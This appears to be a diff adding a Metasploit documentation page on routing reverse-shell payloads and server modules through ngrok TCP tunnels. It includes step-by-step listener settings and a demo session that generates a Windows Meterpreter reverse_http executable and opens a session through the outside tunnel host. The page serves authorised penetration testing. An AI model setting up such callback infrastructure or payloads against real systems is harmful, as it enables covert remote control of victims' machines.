|
| 1 | +# Overview |
| 2 | +[ngrok][1] is a popular service that offers free port-forwarding that is easy to setup without needing to run a |
| 3 | +dedicated server on a public IP address (as is the case with SSH, socat and other more traditional options. This means |
| 4 | +that users behind a SNATing device such as a SOHO router can accept reverse shells and other connections without needing |
| 5 | +to configure port forwarding. |
| 6 | + |
| 7 | +**WARNING:** The nature of using ngrok is to send traffic through a third party. ngrok and the server which it utilizes |
| 8 | +are not affiliated with the Metasploit project. Use of ngrok effectively sends traffic through an untrusted third party |
| 9 | +and should be done with extreme caution. While Meterpreter has offered end-to-end encryption since Metasploit 6.0, other |
| 10 | +payloads and connections do not. |
| 11 | + |
| 12 | +ngrok can start multiple types of tunnels. The `tcp` tunnel is compatible with Metasploit's payloads and most closely |
| 13 | +resembles a traditional port-forwarding configuration. The `http` tunnel type is not compatible with payloads, and |
| 14 | +should not be used. The `tls` tunnel type may be compatible, but access to it is restricted to the Enterprise and |
| 15 | +Pay-as-you-go paid plans. This document will focus on the use cases for the `tcp` tunnel type. Note that one limitation |
| 16 | +is that the public port can not be configured, it is randomly selected by ngrok meaning that the target will need to be |
| 17 | +able to connect to this high, obscure port which may be prevented by egress filtering. |
| 18 | + |
| 19 | +## Usage with payloads |
| 20 | +Use with payloads can be achieved with any of the reverse-connection stagers that accept `LHOST` and `LPORT` options, |
| 21 | +e.g. reverse_tcp, reverse_http, reverse_https, etc. but not reverse_named_pipe. In the following scenario, ngrok will be |
| 22 | +used to forward a random public port to the Metasploit listener on port 4444. This scenario assumes that Metasploit and |
| 23 | +ngrok are running on the same host. |
| 24 | + |
| 25 | +**NOTE:** At this time, payloads handle DNS hostnames inconsistently. Some are compatible with hostnames while others |
| 26 | +require IP addresses to be specified as the target to connect to (the `LHOST` option). To ensure the specified payload |
| 27 | +will work, the hostname provided by ngrok should be resolved to an IP address and the IP address should be used as the |
| 28 | +value for `LHOST`. |
| 29 | + |
| 30 | +1. Start a TCP tunnel using ngrok: `ngrok tcp localhost:4444`. |
| 31 | +1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and |
| 32 | + port number from this line, e.g. `4.tcp.ngrok.io:13779` |
| 33 | +1. Resolve the hostname from the previous step to an IP address. |
| 34 | +1. Start msfconsole and use the desired payload or exploit module. |
| 35 | + * Using `msfconsole` for both generating the payload and handling the connection is recommended over using `msfvenom` |
| 36 | + for two reasons. |
| 37 | + 1. Using `msfvenom` starts up an instance of the framework to generate the payload, making it a slower process. |
| 38 | + 2. Using `msfconsole` to configure both the payload and handler simultaneously ensures that the options are set for |
| 39 | + both, eliminating the possibility that they are out of sync. |
| 40 | +1. Set the `LHOST` option to the IP address noted in step 3. This is where the payload is expecting to connect to. |
| 41 | +1. Set the `LPORT` option to the port noted in step 2, `13779` in the example. |
| 42 | +1. Set the `ReverseListenerBindAddress` option to `127.0.0.1`. This is where the connection will actually be accepted |
| 43 | + from ngrok. |
| 44 | +1. Set the `ReverseListenerBindPort` option to `4444`. |
| 45 | +1. Either run the exploit, or generate the payload with the `generate` command and start the handler with `to_handler` |
| 46 | + |
| 47 | +Once the payload has been executed, either through the exploit or manual means, there should be a open connection seen |
| 48 | +through the ngrok terminal. |
| 49 | + |
| 50 | +### Payload Demo |
| 51 | + |
| 52 | +ngrok side: |
| 53 | +``` |
| 54 | +$ ngrok tcp localhost:4444 |
| 55 | +ngrok (Ctrl+C to quit) |
| 56 | +
|
| 57 | +Take our ngrok in production survey! https://forms.gle/aXiBFWzEA36DudFn6 |
| 58 | +
|
| 59 | +Session Status online |
| 60 | +Account ????? (Plan: Personal) |
| 61 | +Version 3.16.0 |
| 62 | +Region United States (us) |
| 63 | +Latency 33ms |
| 64 | +Web Interface http://127.0.0.1:4040 |
| 65 | +Forwarding tcp://4.tcp.ngrok.io:17511 -> localhost:4444 |
| 66 | +
|
| 67 | +Connections ttl opn rt1 rt5 p50 p90 |
| 68 | + 0 0 0.00 0.00 0.00 0.00 |
| 69 | +``` |
| 70 | + |
| 71 | +resolve the hostname `4.tcp.ngrok.io` to an IP address |
| 72 | +``` |
| 73 | +$ dig +short 4.tcp.ngrok.io |
| 74 | +192.0.2.1 |
| 75 | +``` |
| 76 | + |
| 77 | +metasploit side: |
| 78 | +```msf |
| 79 | +msf6 > use payload/windows/x64/meterpreter/reverse_http |
| 80 | +msf6 payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1 |
| 81 | +LHOST => 192.0.2.1 |
| 82 | +msf6 payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511 |
| 83 | +LPORT => 17511 |
| 84 | +msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1 |
| 85 | +ReverseListenerBindAddress => 127.0.0.1 |
| 86 | +msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444 |
| 87 | +ReverseListenerBindPort => 4444 |
| 88 | +msf6 payload(windows/x64/meterpreter/reverse_http) > to_handler |
| 89 | +[*] Payload Handler Started as Job 2 |
| 90 | +msf6 payload(windows/x64/meterpreter/reverse_http) > |
| 91 | +[*] Started HTTP reverse handler on http://127.0.0.1:4444 |
| 92 | +
|
| 93 | +msf6 payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe |
| 94 | +[*] Writing 7168 bytes to ngrok_payload.exe... |
| 95 | +msf6 payload(windows/x64/meterpreter/reverse_http) > |
| 96 | +[*] http://127.0.0.1:4444 handling request from 127.0.0.1; (UUID: ghzekibo) Staging x64 payload (202844 bytes) ... |
| 97 | +[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55468) at 2024-09-10 16:43:58 -0400 |
| 98 | +
|
| 99 | +msf6 payload(windows/x64/meterpreter/reverse_http) > sessions -i -1 |
| 100 | +[*] Starting interaction with 1... |
| 101 | +
|
| 102 | +meterpreter > getuid |
| 103 | +Server username: MSFLAB\smcintyre |
| 104 | +meterpreter > |
| 105 | +``` |
| 106 | + |
| 107 | +## Usage with server modules |
| 108 | +Some modules expect connections to be made to them by the target. These modules can also be used with ngrok, with some |
| 109 | +slight variations to the payload workflow in regards to their datastore options. Modules that start servers can be |
| 110 | +identified by using the `SRVHOST` and `SRVPORT` datastore options. |
| 111 | + |
| 112 | +**NOTE:** Free ngrok plans can only open one tcp tunnel at a time. This means that if the module is an exploit that a |
| 113 | +tcp tunnel for a reverse-connection payload will not be able to be opened at the same time. Use a second ngrok account |
| 114 | +to open a second tcp tunnel and follow the steps above for the payload configuration. |
| 115 | + |
| 116 | +1. Start a TCP tunnel using ngrok: `ngrok tcp localhost:4444`. |
| 117 | +1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and |
| 118 | + port number from this line, e.g. `4.tcp.ngrok.io:13779` |
| 119 | +1. Resolve the hostname from the previous step to an IP address. |
| 120 | +1. Start msfconsole and use the desired module. |
| 121 | +1. Set the `LHOST` option to the IP address noted in step 3. This is where the payload is expecting to connect to. |
| 122 | +1. Set the `SRVPORT` option to the port noted in step 2, `13779` in the example. |
| 123 | +1. Set the `ListenerBindAddress` option to `127.0.0.1`. This is where the connection will actually be accepted |
| 124 | + from ngrok. |
| 125 | +1. Set the `ListenerBindPort` option to `4444`. |
| 126 | +1. Run the module |
| 127 | + |
| 128 | +[1]: https://ngrok.com/ |
0 commit comments